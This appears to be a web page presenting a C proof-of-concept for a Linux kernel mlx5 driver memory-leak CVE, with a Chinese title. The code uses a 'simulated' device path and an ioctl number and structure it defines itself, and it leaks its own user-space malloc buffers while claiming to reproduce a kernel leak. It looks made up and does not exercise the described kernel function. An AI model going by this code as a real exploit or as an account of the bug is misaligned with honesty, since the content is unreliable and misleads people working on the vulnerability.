CVE-2023-53546 Linux内核mlx5驱动内存泄漏漏洞

/* CVE-2023-53546 PoC - mlx5 driver memory leak trigger * This PoC demonstrates how to trigger the memory leak in * mlx5dr_cmd_create_reformat_ctx by repeatedly attempting * to create reformat contexts that fail at mlx5_cmd_exec. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> /* Simulated mlx5 device interface trigger */ #define MLX5_DEVICE_PATH "/dev/mlx5_core" #define IOCTL_CREATE_REFORMAT_CTX _IOW('m', 0x01, struct reformat_ctx_params) struct reformat_ctx_params { unsigned int reformat_type; unsigned int flags; void *in_data; size_t in_len; void *out_data; size_t out_len; }; int trigger_memory_leak(int fd, int iterations) { struct reformat_ctx_params params; int ret; int i; /* Configure parameters to force mlx5_cmd_exec failure */ memset(&params, 0, sizeof(params)); params.reformat_type = 0xFFFFFFFF; /* Invalid type to trigger failure */ params.flags = 0; params.in_data = malloc(4096); /* Allocate memory like the kernel does */ if (!params.in_data) { perror("malloc failed"); return -1; } params.in_len = 4096; params.out_data = NULL; params.out_len = 0; for (i = 0; i < iterations; i++) { ret = ioctl(fd, IOCTL_CREATE_REFORMAT_CTX, &params); if (ret < 0) { /* In vulnerable kernel: 'in' memory is not freed on failure */ fprintf(stderr, "Iteration %d: ioctl failed (expected): %s\n", i, strerror(errno)); } /* Re-allocate to simulate kernel's 'in' buffer allocation */ params.in_data = malloc(4096); if (!params.in_data) { perror("malloc failed during loop"); return -1; } } free(params.in_data); return 0; } int main(int argc, char *argv[]) { int fd; int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } fd = open(MLX5_DEVICE_PATH, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open %s (requires mlx5 hardware and root): %s\n", MLX5_DEVICE_PATH, strerror(errno)); fprintf(stderr, "This PoC requires a system with Mellanox mlx5 NIC\n"); return 1; } printf("Triggering CVE-2023-53546 memory leak with %d iterations...\n", iterations); trigger_memory_leak(fd, iterations); close(fd); printf("Done. Check kernel memory usage with 'slabtop' or '/proc/meminfo'\n"); return 0; }